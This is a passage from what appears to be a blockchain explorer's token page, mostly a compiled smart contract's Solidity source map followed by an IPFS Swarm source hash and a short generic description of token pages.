2:281::-;13910:5;13934:23;13952:4;13934:23;:::i;:::-;13926:31;;13978:25;13994:8;13978:25;:::i;:::-;13966:37;;14022:104;14059:66;14049:8;14043:4;14022:104;:::i;:::-;14013:113;;13852:281;;;;:::o;14139:410::-;14179:7;14202:20;14220:1;14202:20;:::i;:::-;14197:25;;14236:20;14254:1;14236:20;:::i;:::-;14231:25;;14291:1;14288;14284:9;14313:30;14331:11;14313:30;:::i;:::-;14302:41;;14492:1;14483:7;14479:15;14476:1;14473:22;14453:1;14446:9;14426:83;14403:139;;14522:18;;:::i;:::-;14403:139;14187:362;14139:410;;;;:::o;14555:180::-;14603:77;14600:1;14593:88;14700:4;14697:1;14690:15;14724:4;14721:1;14714:15;14741:185;14781:1;14798:20;14816:1;14798:20;:::i;:::-;14793:25;;14832:20;14850:1;14832:20;:::i;:::-;14827:25;;14871:1;14861:35;;14876:18;;:::i;:::-;14861:35;14918:1;14915;14911:9;14906:14;;14741:185;;;;:::o;14932:191::-;14972:3;14991:20;15009:1;14991:20;:::i;:::-;14986:25;;15025:20;15043:1;15025:20;:::i;:::-;15020:25;;15068:1;15065;15061:9;15054:16;;15089:3;15086:1;15083:10;15080:36;;;15096:18;;:::i;:::-;15080:36;14932:191;;;;:::o;15129:180::-;15177:77;15174:1;15167:88;15274:4;15271:1;15264:15;15298:4;15295:1;15288:15;15315:233;15354:3;15377:24;15395:5;15377:24;:::i;:::-;15368:33;;15423:66;15416:5;15413:77;15410:103;;15493:18;;:::i;:::-;15410:103;15540:1;15533:5;15529:13;15522:20;;15315:233;;;:::o

Swarm Source

ipfs://9bbab6ccddd8f1442e5fcba66224c97e5a7448c1c0f3c2071d89ef45b0c3b57c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.